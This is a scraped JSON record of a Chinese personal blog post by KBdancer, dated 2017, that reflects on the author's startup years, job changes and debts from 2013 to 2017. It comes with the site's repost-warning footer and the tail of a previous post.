2\r\n</p>\r\n<p>\r\n\t\u6211\u5012\u662f\u89c9\u5f97\u73b0\u5728\u7b80\u6d01\u4e00\u70b9\u66f4\u597d\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23446 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5199\u5199\u6211\u76842013-2017"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-07-18, 2:39 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u5199\u5728\u524d\u9762\r\n</h2>\r\n<p>\r\n\t\u5076\u5c14\u6765\u6211\u535a\u5ba2\u901b\u901b\u7684\u670b\u53cb\u4eec\u5e94\u8be5\u770b\u5f97\u51fa\u6765\uff0c\u6700\u8fd1\u51e0\u4e2a\u6708\u6211\u90fd\u6ca1\u6709\u600e\u4e48\u66f4\u65b0\u535a\u6587\uff0c\u6211\u5728\u767e\u5ea6\u7edf\u8ba1\u4e0a\u7a0d\u5fae\u770b\u4e86\u4e0b\uff0c\u6bcf\u5929\u7684IP\u8bbf\u95ee\u91cf\u57fa\u672c\u7a33\u5b9a\u5728100\u5de6\u53f3\uff0c\u7a0d\u5fae\u6709\u4e9b\u4e0b\u6ed1\u3002\u5f53\u7136\u4e86\uff0c\u8fd9\u91cc\u5927\u90e8\u5206\u8fd8\u662f\u6765\u81ea\u8718\u86db\u6216\u8005\u722c\u866b\uff0c\u6bd5\u7adfnginx\u7684\u65e5\u5fd7\u4f1a\u544a\u8bc9\u6211\u771f\u76f8\uff0c\u8c37\u6b4c\u7684\u8718\u86db\u662f\u6700\u52e4\u5feb\u7684\uff0c\u6bcf\u5929\u90fd\u8981\u722c\u5f88\u591a\u6b21\uff0c\u5176\u6b21\u5c31\u662f\u4e00\u4e9b\u91c7\u96c6\u7684\u722c\u866b\u3002\r\n</p>\r\n<p>\r\n\t\u6700\u8fd1\u786e\u5b9e\u662f\u56e0\u4e3a\u592a\u7e41\u5fd9\uff0c\u5c11\u6709\u65f6\u95f4\u5199\u4e1c\u897f\uff0c\u6bcf\u6b21\u60f3\u8d77\u6765\u8981\u52a8\u624b\u6572\u51e0\u884c\u6587\u5b57\uff0c\u53c8\u89c9\u5f97\u53ef\u80fd\u4f1a\u88ab\u5176\u4ed6\u4e8b\u60c5\u6253\u6270\uff0c\u7d22\u6027\u5148\u5904\u7406\u5176\u4ed6\u4e8b\u60c5\uff0c\u7ed3\u679c\u5c31\u662f\u4e00\u62d6\u518d\u62d6\uff0c\u8fdf\u8fdf\u6ca1\u6709\u8d77\u7b14\u3002\r\n</p>\r\n\u4eca\u5929\u5403\u5b8c\u5348\u996d\uff0c\u8d81\u7740\u5348\u4f11\u65f6\u95f4\u770b\u4e86\u51e0\u7bc7\u6587\u7ae0\uff0c\u89c9\u5f97\u5f88\u6709\u5fc5\u8981\u603b\u7ed3\u4e00\u4e0b\u6211\u8fd9\u51e0\u5e74\uff0c\u90fd\u8bf45\u5e74\u4e00\u4e2a\u9636\u6bb5\uff0c\u56de\u5934\u770b\u770b\uff0c\u9a6c\u4e0a\u5c31\u5feb5\u5e74\u4e86\uff0c\u8fd95\u5e74\u6211\u90fd\u6210\u957f\u4e86\u54ea\u4e9b\uff0c\u653e\u5f03\u4e86\u4ec0\u4e48\uff0c\u53c8\u6536\u83b7\u4e86\u54ea\u4e9b\uff1f\r\n<h2>\r\n\t2013\u5e742\u6708-2015\u5e744\u6708\r\n</h2>\r\n<p>\r\n\t2013\u5e74\u662f\u6211\u4ece\u5b66\u6821\u8d70\u5411\u793e\u4f1a\u7684\u4e00\u5e74\uff0c\u6211\u7684\u5927\u5b66\u662f\u4e00\u4e2a\u5206\u6821\uff0c\u5927\u4e13\uff0c\u5e76\u4e0d\u51fa\u540d\u3002\r\n</p>\r\n<p>\r\n\t2013\u5e742\u6708\u4efd\u7684\u65f6\u5019\u8ddf\u7740\u51e0\u4f4d\u5b66\u957f\uff0c\u51e0\u4e2a\u597d\u53cb\uff0c\u4e00\u8d77\u521b\u529e\u4e86\u4e00\u5bb6\u516c\u53f8\u3002\u90a3\u4e00\u5e74\uff0c\u521b\u4e1a\u70ed\u6f6e\u5174\u8d77\uff0c\u5230\u5904\u90fd\u662f\u98ce\u6295\u3001\u878d\u8d44\u3001\u6536\u8d2d\u3001\u4e0a\u5e02\u7b49\u7b49\u8ba9\u4eba\u542c\u8d77\u6765\u70ed\u8840\u6cb8\u817e\u7684\u8bcd\u6c47\u3002\r\n</p>\r\n<p>\r\n\t\u800c\u5f53\u65f6\u7684\u6211\u4eec\uff0c\u53ea\u662f\u5355\u7eaf\u7684\u89c9\u5f97\uff0c\u5927\u5bb6\u4e00\u8d77\u4e3a\u540c\u4e00\u4e2a\u68a6\u60f3\u52aa\u529b\uff0c\u8d5a\u4e0d\u8d5a\u94b1\u662f\u6b21\u8981\uff0c\u505a\u4e8b\u60c5\u5f00\u5fc3\u5c31\u597d\uff0c\u6bd5\u7adf\u90a3\u4e2a\u65f6\u5019\u6211\u4eec\u90fd\u6ca1\u6709\u4ec0\u4e48\u7ecf\u6d4e\u538b\u529b\uff0c\u6ca1\u6709\u623f\u8d37\u6ca1\u6709\u8f66\u8d37\uff0c\u623f\u79df\u4e0d\u9ad8\uff0c\u6d88\u8d39\u4e0d\u9ad8\uff0c\u6240\u4ee5\u6ca1\u6709\u4efb\u4f55\u8d1f\u62c5\u7684\u4e00\u5934\u624e\u8fdb\u521b\u4e1a\u5927\u519b\u4e2d\uff0c\u6211\u4eec\u5728\u4e00\u95f450\u5e73\u4e0d\u5230\u7684\u5355\u8eab\u516c\u5bd3\u91cc\u9762\u5f00\u59cb\u4e86\u6211\u4eec\u7684\u68a6\u60f3\uff0c\u51e0\u5f20\u529e\u516c\u684c\uff0c\u4e00\u4e2a\u6c99\u53d1\uff0c\u4e00\u5f20\u8336\u51e0\uff0c\u8fd9\u5c31\u662f\u6211\u4eec\u7684\u201c\u529e\u516c\u5ba4\u201d\uff0c\u5f53\u65f6\u521a\u4ece\u5b66\u6821\u51fa\u6765\u7684\u6211\u4eec\u8fd8\u89c9\u5f97\u633a\u4e0d\u9519\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u5f88\u591a\u4eba\u8bf4\u6211\u4eec\u81ea\u5df1\u5f53\u8001\u677f\uff0c\u7ed9\u81ea\u5df1\u6253\u5de5\u5f88\u6709\u94b1\u4e4b\u7c7b\u7684\uff0c\u5176\u5b9e\u771f\u6b63\u505a\u8fd9\u4ef6\u4e8b\u7684\u4eba\u624d\u77e5\u9053\uff0c\u771f\u7684\u7d2f\uff0c\u771f\u7684\u82e6\uff0c\u6280\u672f\u4e0d\u61c2\u786c\u7740\u5934\u76ae\u94bb\uff0c\u5404\u79cd\u67e5\u8d44\u6599\uff0c\u5404\u79cd\u5199demo\uff0c\u800c\u4e14\u5e76\u6ca1\u6709\u591a\u5c11\u94b1\uff0c\u5355\u7eaf\u7684\u89c9\u5f97\u5f00\u5fc3\u7f62\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u521a\u5f00\u59cb\u7684\u6211\u4eec\u4e5f\u53ea\u662f\u63a5\u4e00\u4e9b\u5916\u5305\u6765\u5e94\u5bf9\u65e5\u5e38\u7684\u5f00\u652f\uff0c\u6162\u6162\u7684\u6211\u4eec\u5229\u7528\u4e1a\u4f59\u65f6\u95f4\u505a\u4e86\u4e00\u4e9b\u597d\u73a9\u7684\u4e1c\u897f\uff0c\u800c\u5f53\u65f6\u6211\u4eec\u771f\u7684\u662f\u5355\u7eaf\u7684\u89c9\u5f97\u597d\u73a9\u800c\u5df2\uff0c\u4ece\u7b2c\u4e00\u4e2a\u7248\u672c\u5230\u7b2cN\u4e2a\u7248\u672c\u90fd\u662f\u514d\u8d39\u63d0\u4f9b\u7ed9\u7528\u6237\u4f7f\u7528\uff0c\u4ece\u7528\u6237\u4e3a0\u5230\u7528\u6237\u8fc7\u5343\uff0c\u518d\u5230\u8fc7\u4e07\uff0c\u6574\u4e2a\u8fc7\u7a0b\u5176\u5b9e\u51fa\u4e4e\u6211\u4eec\u7684\u610f\u6599\uff0c\u5f53\u521d\u6211\u4eec\u4e5f\u4e0d\u89c9\u5f97\u6709\u7528\u6237\u4f1a\u4e00\u76f4\u7528\u6211\u4eec\u8fd9\u4e9b\u4e1c\u897f\u3002\r\n</p>\r\n<p>\r\n\t\u540e\u6765\uff0c\u516c\u53f8\u7684\u8fd0\u8425\u6210\u672c\u8d8a\u6765\u8d8a\u9ad8\uff0c\u6211\u4eec\u59cb\u7ec8\u8981\u5bfb\u627e\u51fa\u8def\uff0c\u63a5\u5916\u5305\u9879\u76ee\u4e0d\u662f\u957f\u4e45\u4e4b\u8ba1\uff0c\u4e8e\u662f\u6211\u4eec\u5f00\u53d1\u4e86\u4e00\u4e2a\u81ea\u52a8\u521b\u5efa\u5fae\u7f51\u7ad9\u7684\u4e1c\u897f\uff0c\u7c7b\u4f3c\u73b0\u5728\u7684\u201c\u6613\u4f01\u79c0\u201d\uff0c\u63a5\u7740\u6709\u4eba\u613f\u610f\u51fa\u70b9\u94b1\u8ba9\u6211\u4eec\u505a\u5927\uff0c\u5c31\u8fd9\u6837\u6211\u4eec\u642c\u8fdb\u4e86\u5199\u5b57\u697c\uff0c\u6709\u70b9\u50cf\u662f\u516c\u53f8\u7684\u6837\u5b50\u4e86\uff0c\u6709\u4e86\u6211\u4eec\u81ea\u5df1\u7684\u573a\u5730\uff0c\u529e\u516c\u684c\u6362\u6210\u4e86\u5927\u70b9\u7684\uff0c\u5de5\u8d44\u4e5f\u4ece\u6bcf\u4e2a\u67081000\u5757\u52a0\u5230\u4e863000\u5feb\uff0c\u90a3\u4e2a\u65f6\u5019\u6bcf\u5929\u90fd\u662f\u6fc0\u60c5\u56db\u5c04\uff0c\u505a\u5565\u90fd\u5f88\u6709\u5e72\u52b2\u3002\r\n</p>\r\n<p>\r\n\t\u8fc7\u4e86\u4e24\u4e2a\u6708\u5427\uff0c\u6295\u8d44\u4eba\u8fc7\u6765\u770b\u4e86\u4e0b\u6211\u4eec\u7684\u573a\u5730\u89c9\u5f97\u592a\u5c0f\u4e86\uff0c\u800c\u4e14\u4eba\u624b\u4e5f\u5f88\u5c11\uff0c\u7136\u540e\u6211\u4eec\u6362\u4e86\u4e00\u4e2a200\u5e73\u7684\u573a\u5730\uff0c\u4eba\u624b\u4e5f\u589e\u52a0\u5230\u4e86\u5341\u51e0\u4e2a\uff0c\u6709\u4e86UI\u8bbe\u8ba1\u5e08\uff0cjava\u5f00\u53d1\uff0cphp\u5f00\u53d1\uff0c\u524d\u7aef\u5f00\u53d1\uff0cios\u5f00\u53d1\uff0cAndroid\u5f00\u53d1\uff0c\u884c\u653f....\r\n</p>\r\n<p>\r\n\t13\u5e74\u5e95\uff0c\u6211\u627e\u6d9b\u54e5\u501f\u4e863500\u5757\u6362\u4e86\u4e2a\u624b\u673a\uff0ciPhone 5s\uff082017\u5e742\u6708\u4efd\u5c4f\u5e55\u574f\u4e86\uff0c\u6362\u4e86\u73b0\u5728\u7684\u9b45\u65cf\uff09\uff0c\u7b97\u662f\u4eba\u751f\u4e2d\u7528\u7684\u6700\u8d35\u7684\u624b\u673a\u4e86\u5427\uff0c13\u5e74\u5e95\u672c\u6765\u8bf4\u662f\u6709\u5e74\u7ec8\u5956\u6216\u8005\u662f13\u85aa\u7684\uff0c\u7ed3\u679c\u662f\u4ec0\u4e48\u90fd\u6ca1\u6709\uff0c\u5176\u4e2d\u7684\u539f\u56e0\u5c31\u4e0d\u8bf4\u4e86\uff0c\u5f88\u591a\u4e8b\u60c5\u5e76\u6ca1\u6709\u6211\u4eec\u60f3\u7684\u90a3\u4e48\u7b80\u5355\u3002\r\n</p>\r\n<p>\r\n\t\u8fc7\u5b8c\u5e74\u56de\u6765\u53c8\u5f00\u59cb\u4e86\u5fd9\u788c\u7684\u5de5\u4f5c\uff0c\u6574\u4e2a\u56e2\u961f\u7684\u78e8\u5408\u662f\u4e2a\u5f88\u5927\u7684\u95ee\u9898\uff0c\u9646\u9646\u7eed\u7eed\u6709\u5c0f\u4f19\u4f34\u79bb\u5f00\uff0c\u5305\u62ec\u56e2\u961f\u7684\u521b\u59cb\u4eba\u4e4b\u4e00\uff0c\u79bb\u5f00\u7684\u539f\u56e0\u5927\u5bb6\u5fc3\u91cc\u6216\u591a\u6216\u5c11\u90fd\u660e\u767d\uff0c\u6bcf\u4e2a\u4eba\u6709\u6bcf\u4e2a\u4eba\u7684\u9009\u62e9\u800c\u5df2\u3002\r\n</p>\r\n<p>\r\n\t14\u5e745\u6708\u4efd\u662f\u4e2a\u5173\u952e\u7684\u65f6\u671f\uff0c\u516c\u53f8\u5e76\u8d2d\u4e86\u53e6\u5916\u4e00\u5bb6\u516c\u53f8\uff0c\u66fe\u7ecf\u6211\u89c9\u5f97\u516c\u53f8\u53d1\u5c55\u7684\u592a\u5feb\uff0c\u6b65\u5b50\u8fc8\u5927\u4e86\u5bb9\u6613\u626f\u7740\u86cb\uff0c\u5176\u4ed6\u51e0\u4e2a\u5c0f\u4f19\u4f34\u4e5f\u90fd\u8fd9\u4e48\u89c9\u5f97\uff0c\u53cd\u5bf9\u8fc7\uff0c\u7ed3\u679c\u4f9d\u7136\u8fd8\u662f\u8d70\u51fa\u4e86\u90a3\u4e00\u6b65\u3002\r\n</p>\r\n<p>\r\n\t\u5176\u4e2d\u7684\u539f\u56e0\u5f88\u96be\u8bf4\uff0c\u8001\u677f\u89c9\u5f97\u63a7\u5236\u6743\u5e94\u8be5\u5728\u4ed6\u624b\u4e0a\uff0c\u6211\u548c\u5176\u4ed6\u51e0\u4e2a\u5c0f\u4f19\u4f34\u90fd\u89c9\u5f97\u6ca1\u6709\u4ec0\u4e48\u8bdd\u8bed\u6743\uff0c\u8001\u677f\u8bf4\u662f\u6211\u4eec\u5e94\u8be5\u628a\u7cbe\u529b\u653e\u5728\u5f00\u53d1\u4e0a\u800c\u4e0d\u662f\u516c\u53f8\u7684\u4e8b\uff0c\u516c\u53f8\u7684\u4e00\u4e9b\u51b3\u5b9a\u6211\u4eec\u4e5f\u53c2\u4e0e\u4e0d\u4e86\u3002\r\n</p>\r\n<p>\r\n\t14\u5e747\u6708\u4efd\u6211\u4eec\u6362\u4e86\u66f4\u5927\u7684\u529e\u516c\u573a\u6240\uff0c\u548c\u5e76\u8d2d\u540e\u7684\u516c\u53f8\u4e00\u8d77\u529e\u516c\uff0c\u4eba\u6570\u589e\u52a0\u5230\u4e8630\u591a\u53f7\u4eba\uff0c\u5f88\u96be\u60f3\u8c61\u516c\u53f8\u4f1a\u6709\u8fd9\u6837\u7684\u53d1\u5c55\u901f\u5ea6\uff0c\u7136\u800c\uff0c\u5e76\u8d2d\u4ee5\u540e\u7684\u6210\u672c\u8fdc\u8fdc\u8d85\u8fc7\u6211\u4eec\u7684\u60f3\u8c61\uff0c\u4e00\u4e2a\u6708\u7684\u6210\u672c\u8d85\u8fc730\u4e07\uff0c\u5f88\u5feb\u516c\u53f8\u8d44\u91d1\u51fa\u73b0\u4e86\u95ee\u9898\uff0c\u5f88\u591a\u5c0f\u4f19\u4f34\u90fd\u8d70\u4e86\uff0c\u6491\u523011\u6708\uff0c\u5df2\u7ecf\u6491\u4e0d\u4e0b\u53bb\u4e86\uff0c\u4e3a\u4e86\u8282\u7ea6\u6210\u672c\u6211\u4eec\u53c8\u4e00\u6b21\u66f4\u6362\u4e86\u529e\u516c\u573a\u6240\uff0c\u4f46\u662f\u95ee\u9898\u8fd8\u662f\u5b58\u5728\uff0c\u63a5\u4e0b\u6765\u5f00\u59cb\u4e86\u63a5\u5916\u5305\u5ea6\u65e5\u7684\u72b6\u51b5\uff0c\u5de5\u8d44\u4e5f\u4ece5000\u5757\u964d\u5230\u4e863000\u5757\u3002\r\n</p>\r\n<p>\r\n\t\u5230\u4e862015\u5e743\u6708\u4efd\uff0c\u773c\u770b\u7740\u516c\u53f8\u7684\u60c5\u51b5\u8d8a\u6765\u8d8a\u7cdf\u7cd5\uff0c\u6211\u4e5f\u597d\u51e0\u4e2a\u6708\u6ca1\u6709\u62ff\u5230\u5de5\u8d44\uff0c\u8eab\u8fb9\u7684\u5c0f\u4f19\u4f34\u4e5f\u53ea\u5269\u4e0b\u5c48\u6307\u53ef\u6570\u7684\u51e0\u4e2a\u4eba\uff0c\u8d1f\u503a\u7d2f\u7d2f\u7684\u6211\u4f3c\u4e4e\u770b\u4e0d\u5230\u516c\u53f8\u7684\u5e0c\u671b\uff0c\u6253\u7b97\u653e\u5f03\u8fd9\u4e00\u5207\uff0c\u4e8e\u662f\u6211\u57282015\u5e744\u6708\u4efd\u6b63\u5f0f\u79bb\u804c\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5176\u5b9e\u5bf9\u4e8e\u8fd9\u6bb5\u7ecf\u5386\u6211\u4e0d\u662f\u5f88\u559c\u6b22\u5728\u522b\u4eba\u9762\u524d\u63d0\u8d77\uff0c\u6709\u4eba\u95ee\u6211\u4ee5\u524d\u5728\u90a3\u91cc\u5de5\u4f5c\uff0c\u505a\u4ec0\u4e48\u804c\u4f4d\uff0c\u6211\u90fd\u4e60\u60ef\u8bf4\u5728\u521b\u4e1a\u516c\u53f8\u505a\u524d\u7aef\uff0c\u6708\u85aa3000\u5757\u3002\u521b\u4e1a\u90a3\u4e24\u5e74\u5bf9\u6211\u6765\u8bf4\u7b97\u662f\u975e\u5e38\u5b9d\u8d35\u7684\u7ecf\u5386\u5427\uff0c\u6280\u672f\u63d0\u5347\u5c31\u4e0d\u8bf4\u4e86\uff0c\u76f8\u5bf9\u666e\u901a\u6280\u672f\u5f00\u53d1\u6765\u8bf4\uff0c\u6211\u505a\u7684\u4e8b\u60c5\u53ef\u80fd\u4f1a\u66f4\u591a\u4e00\u70b9\uff0c\u7814\u7a76\u7684\u53ef\u80fd\u4e5f\u4f1a\u66f4\u6df1\u5165\u4e00\u70b9\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e24\u5e74\u9664\u4e86\u5de5\u4f5c\u4ee5\u5916\u8fd8\u7ecf\u5386\u8fc7\u4ec0\u4e48\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e24\u5e74\u6211\u8ba4\u8bc6\u4e86\u597d\u591a\u5c0f\u4f19\u4f34\uff0c\u4ed6\u4eec\u73b0\u5728\u4e5f\u90fd\u975e\u5e38\u4f18\u79c0\uff0c\u8ba4\u8bc6\u4e86\u73b0\u5728\u7684\u8001\u5a46\uff0c\u5979\u662f\u6211\u4eec\u516c\u53f8\u5e76\u8d2d\u7684\u90a3\u5bb6\u516c\u53f8\u7684\u8bbe\u8ba1\u5e08\uff0c\u5e76\u8d2d\u4ee5\u540e\u4e0d\u4e45\u5979\u5c31\u8f9e\u804c\u4e86\uff0c\u611f\u8c22\u5979\u4e00\u76f4\u652f\u6301\u7740\u6211\uff0c\u867d\u7136\u6700\u540e\u6211\u8fd8\u662f\u79bb\u5f00\u4e86\u516c\u53f8\u3002\r\n</p>\r\n<p>\r\n\t\u5de5\u4f5c\u4e4b\u4f59\u6211\u8fd8\u7814\u7a76\u4e86\u5355\u7247\u673a\uff0c\u5b89\u5168\u6e17\u900f\u6d4b\u8bd5\u7b49\u6280\u672f\uff0c\u8fd9\u4e9b\u5bf9\u4e8e\u6211\u73b0\u5728\u7684\u5de5\u4f5c\u6765\u8bf4\u975e\u5e38\u91cd\u8981\uff0c\u6b63\u56e0\u4e3a\u90a3\u4e9b\u4e1a\u4f59\u7684\u5174\u8da3\u7231\u597d\uff0c\u624d\u4f1a\u6709\u73b0\u5728\u5de5\u4f5c\u6240\u9700\u7684\u6280\u80fd\u77e5\u8bc6\u70b9\u3002\r\n</p>\r\n<p>\r\n\t\u6709\u4e00\u4e2a\u6bd4\u8f83\u6709\u610f\u601d\u7684\u70b9\uff0c\u5c31\u662f\u6211\u8ddf\u670b\u53cb\u4eec\u8c08\u8d77\u6211\u66fe\u7ecf\u4f4f\u8fc7\u7684\u5f88\u591a\u5730\u65b9\uff0c\u670b\u53cb\u4eec\u90fd\u5f88\u60ca\u8bb6\u7684\u95ee\u6211\u201c\u4f60\u600e\u4e48\u54ea\u90fd\u4f4f\u8fc7\u554a\uff0c\u5929\u5929\u642c\u5bb6\uff1f\u201d\u3002\u54c8\u54c8\u54c8\uff0c\u786e\u5b9e\u662f\u7ecf\u5e38\u642c\u5bb6\uff0c\u56e0\u4e3a\u516c\u53f8\u7ecf\u5e38\u642c\uff0c\u6bcf\u6b21\u642c\u5bb6\u6211\u90fd\u8bf4\u518d\u4e5f\u4e0d\u60f3\u642c\u5bb6\u4e86\uff0c\u592a\u7d2f\u4e86\uff0c\u7ed3\u679c\u8fd8\u662f\u65e0\u5948\u7684\u5404\u79cd\u642c\u5bb6\uff0c\u60f3\u60f3\u4ece\u6bd5\u4e1a\u540e\u5230\u73b0\u5728\u603b\u5171\u642c\u8fc78\u6b21\uff0c\u73b0\u5728\u4f4f\u7684\u5730\u65b9\u5e94\u8be5\u662f\u4f4f\u7684\u6700\u4e45\u7684\u4e00\u6b21\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t2015\u5e744\u6708-2016\u5e747\u6708\r\n</h2>\r\n<p>\r\n\t\u4ece\u81ea\u5df1\u7684\u516c\u53f8\u79bb\u5f00\u4ee5\u540e\uff0c\u6211\u53bb\u4e86\u6211\u8001\u5a46\u6240\u5728\u7684\u516c\u53f8\uff0c\u521a\u597d\u90a3\u4e2a\u516c\u53f8\u7f3a\u524d\u7aef\uff0c\u5e72\u4e86\u4e00\u5e74\uff0c\u7b97\u662f\u53bb\u628a\u6211\u7684\u4fe1\u7528\u5361\u8d44\u91d1\u7a7a\u6d1e\u7ed9\u8865\u4e86\u4e00\u4e0b\uff0c15\u5e74\u5e95\u4e70\u4e86\u623f\u5b50\uff0c\u867d\u7136\u53ea\u662f\u9996\u4ed8\uff0c\u4f46\u662f\u8fd8\u662f\u6b20\u4e86\u4e00\u5927\u7b14\u503a\uff0c\u53c8\u4e00\u6b21\u8d1f\u503a\u7d2f\u7d2f\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u5bb6\u516c\u53f8\u798f\u5229\u4ec0\u4e48\u7684\u90fd\u8fd8\u4e0d\u9519\uff0c\u552f\u4e00\u6211\u89c9\u5f97\u4e0d\u559c\u6b22\u7684\u662f\u516c\u53f8\u7684\u6761\u6761\u6b3e\u6b3e\u592a\u591a\u4e86\uff0c\u529e\u4e8b\u6d41\u7a0b\u7e41\u7410\uff0c\u6709\u4e9b\u5b98\u50da\u4e3b\u4e49\uff0c\u6700\u4e0d\u559c\u6b22\u7684\u5c31\u662f\u6253\u5361\uff0c\u6240\u4ee5\u5fcd\u4e86\u4e00\u5e74\u6253\u5361\u5236\u5ea6\uff0c\u572816\u5e747\u6708\u4efd\u6211\u79bb\u5f00\u4e86\u8fd9\u5bb6\u516c\u53f8\u3002\r\n</p>\r\n<h2>\r\n\t2016\u5e748\u6708-2017\u5e744\u6708\r\n</h2>\r\n<p>\r\n\t\u8fd9\u5bb6\u516c\u53f8\u662f\u4e4b\u524d\u6211\u4eec\u4e00\u8d77\u521b\u4e1a\u7684\u5b66\u957f\u7684\u516c\u53f8\uff0c\u516c\u53f8\u51e0\u4e2a\u719f\u6089\u7684\u9762\u5b54\uff0c\u505a\u4e8b\u60c5\u6bd4\u8f83\u53c8\u5e72\u52b2\uff0c\u800c\u4e14\u9879\u76ee\u4e5f\u6bd4\u8f83\u719f\u6089\uff0c\u5927\u5bb6\u7684\u6027\u683c\u4e5f\u90fd\u6bd4\u8f83\u4e86\u89e3\uff0c\u4f46\u662f\u5149\u6709\u6280\u672f\u4e0d\u884c\u554a\uff0c\u516c\u53f8\u7684\u4ea7\u54c1\u63a8\u5e7f\u4e0d\u5f00\uff0c\u5bfc\u81f4\u516c\u53f8\u7684\u8d44\u91d1\u51fa\u73b0\u95ee\u9898\uff0c\u8fd9\u4e00\u6b21\u6211\u771f\u7684\u5f88\u4e0d\u820d\uff0c\u4f46\u662f\u6bcf\u4e2a\u6708\u7684\u4fe1\u7528\u5361\u5361\u503a\uff0c\u623f\u8d37\u7684\u538b\u529b\uff0c\u8ba9\u6211\u4e0d\u5f97\u4e0d\u653e\u5f03\u3002\r\n</p>\r\n<p>\r\n\t17\u5e744\u6708\uff0c\u8001\u677f\u53d1\u54e5\u628a\u6211\u5f15\u8350\u7ed9\u73b0\u5728\u6211\u6240\u5728\u7684\u516c\u53f8\uff0c\u6211\u53c8\u4e00\u6b21\u79bb\u804c\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5728\u6b64\u975e\u5e38\u611f\u8c22\u53d1\u54e5\uff0c\u81f3\u5c11\u7f13\u89e3\u4e86\u6211\u73b0\u5728\u7684\u8d44\u91d1\u538b\u529b\uff0c\u6211\u77e5\u9053\u53d1\u54e5\u4e5f\u5f88\u8270\u96be\uff0c\u4e0d\u662f\u4e07\u4e0d\u5f97\u5df2\u4e0d\u4f1a\u505a\u51fa\u8fd9\u6837\u7684\u51b3\u5b9a\uff0c\u5982\u679c\u6709\u673a\u4f1a\u6211\u8fd8\u662f\u518d\u56de\u53bb\u8ddf\u53d1\u54e5\u4e00\u8d77\u6253\u62fc\uff0c\u8ddf\u9760\u8c31\u7684\u4eba\u505a\u9760\u8c31\u7684\u4e8b\uff0c\u8fd9\u662f\u6211\u5165\u804c\u4ed6\u516c\u53f8\u7684\u65f6\u5019\u8bf4\u7684\u4e00\u53e5\u8bdd\u3002\r\n</p>\r\n<h2>\r\n\t2017\u5e744\u6708\u81f3\u4eca\r\n</h2>\r\n<p>\r\n\t\u65b0\u7684\u516c\u53f8\uff0c\u65b0\u7684\u73af\u5883\uff0c\u65b0\u7684\u56e2\u961f\uff0c\u4e00\u5207\u90fd\u662f\u65b0\u7684\uff0c\u8001\u677f\u4eba\u5f88\u597d\uff0c\u798f\u5229\u8fd8\u53ef\u4ee5\uff0c\u85aa\u8d44\u4e0d\u9519\uff0c\u6211\u505a\u7740\u559c\u6b22\u7684\u5de5\u4f5c\uff0c\u867d\u7136\u524d\u671f\u8fd8\u662f\u6bd4\u8f83\u56f0\u96be\u3002\r\n</p>\r\n<h2>\r\n\t\u5199\u5728\u6700\u540e\r\n</h2>\r\n<p>\r\n\t\u7ecf\u5386\u8fc7\u624d\u77e5\u9053\u5176\u4e2d\u7684\u9178\u751c\u82e6\u8fa3\uff0c\u4e0d\u8981\u5fd8\u4e86\u6700\u521d\u7684\u60f3\u6cd5\uff0c\u575a\u6301\u4e0b\u53bb\uff0c\u603b\u6709\u4e00\u5929\u4f1a\u6536\u83b7\u8be5\u5f97\u5230\u7684\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23445 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
